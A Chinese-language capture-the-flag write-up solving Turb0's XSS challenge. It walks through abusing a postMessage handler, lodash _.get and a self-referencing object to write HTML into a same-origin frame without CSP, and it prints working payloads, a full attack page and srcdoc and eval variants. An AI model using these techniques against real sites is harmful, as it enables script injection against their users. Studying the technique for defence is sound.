利用递归对象属性攻克Turb0的XSS挑战

35 阅读2分钟

利用递归对象属性攻克Turb0的XSS挑战

挑战概述

挑战地址:www.turb0.one/pages/Chall…

我们获得了一个可嵌入的页面:www.turb0.one/files/9187c…

该页面加载了三个脚本:

<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">

其中前两个是常见库,第三个是自定义脚本。inner.js包含以下内容:

const reHydrate = event => {
  const data = event.data;
  if (!data || typeof data !== "object") {
    log("Invalid message: not an object");
    return;
  }

  const { base, mappings } = data;
  if (!_.isObject(base) || !Array.isArray(mappings)) {
    log("Invalid payload structure: expected { base, mappings[] }");
    return;
  }

  for (const { from, to } of mappings) {
    const val = _.get(event, from);
    base.reqBody[to] = val;
  }
  return base;
}

window.addEventListener("message", event => {
  const hydrated = reHydrate(event);
  fetch('mockedfakeapi', {
    headers: {
      "Content-Type": "application/json"
    },
    method: 'POST',
    body: hydrated.reqBody
  })
}, false);

页面通过meta标签设置了CSP策略:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">

关键观察点

  1. 使用lodash进行对象属性检索:通过_.get函数
  2. jQuery未被使用:提示jQuery可能是预期的脚本小工具目标
  3. 隐式函数调用body: hydrated.reqBody行可能触发toString()方法调用
  4. 可控的赋值操作base.reqBody[to] = val;
  5. postMessage事件:允许通过event.sourceevent.target访问窗口对象

XSS通过赋值操作

如果仅通过base.reqBody[to] = val赋值来触发XSS,我们有几个有限的选项:

// 设置元素HTML
elm.innerHTML = y
elm.outerHTML = y
elm.insertAdjacentHTML = y

// 设置元素on-*属性
elm.onclick = y // 等等...

// 导航到js链接
window.location = y
iframe.src = y

// 设置iframe的srcdoc
iframe.srcdoc = y

CSP绕过策略

CSP有两个关键点:

  1. 操作发起的来源
  2. 触发对象的位置

对于导航操作,浏览器会检查发起导航的文档的CSP。这意味着即使从具有CSP的页面尝试导航其他窗口,也会被阻止。

而DOM渲染(如elm.innerHTMLiframe.srcdoc)发生在目标帧的上下文中,忽略调用者的CSP。这意味着我们需要在同一源的窗口中使用innerHTML触发XSS。

使用递归对象绕过限制

核心突破点:我们可以控制data.reqBody指向的对象。通过创建递归对象:

var payload = {}
payload.reqBody = payload // {reqBody: {reqBody: {reqBody: ...etc...}}}

完整解决方案

var payload = {
  base: {},
  mappings: [{
    from: "source.frames[1].document.body",  // 指向无CSP窗口的引用
    to: "reqBody",  // 覆盖正在被写入的属性!
  },{
    from: "data.xss",  // 获取XSS载荷
    to: "innerHTML",  // 写入innerHTML
  }],
  xss: "<img src=x onerror=alert(document.domain)>" // 载荷
}
payload.base.reqBody = payload.base

frames[0].postMessage(payload, "*")

这个方案的工作原理:

  1. 第一个映射将base.reqBody["reqBody"]设置为无CSP窗口的body元素,使得base.reqBody现在指向真实的DOM元素
  2. 第二个映射将XSS载荷写入base.reqBody["innerHTML"]
  3. XSS弹窗成功执行

完整攻击页面

<script>
  function run() {
    var payload = {
      base: {},
      mappings: [
        {
          from: "source.frames[1].document.body",
          to: "reqBody"
        }, {
          from: "data.xss",
          to: "innerHTML"
        }
      ],
      xss: "<img src=x onerror=alert(document.domain)>"
    }
    payload.base.reqBody = payload.base

    frames[0].postMessage(payload, "*")
  }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>

总结

  1. 使用对象递归可以通过属性赋值覆盖自身
  2. 通过将载荷写入另一个同源窗口的DOM来绕过CSP限制

其他变体解决方案

作者还提供了其他两种解决方案变体,展示了该技术的灵活性:

  1. 使用srcdoc属性
var payload = {
  base: {},
  mappings: [
    {
      from: "source.frames[0].frames[0].frameElement",
      to: "reqBody"
    }, {
      from: "data.xss",
      to: "srcdoc"
    }
  ],
  xss: "<script>alert(document.domain)\u003c/script>"
}
  1. Turb0修改后的版本
var payload = {
  base: {},
  "mappings": [
    {
      "from": "target.Array",
      "to": "reqBody"
    }, {
      "from": "target.eval",
      "to": "isArray"
    }
  ]
}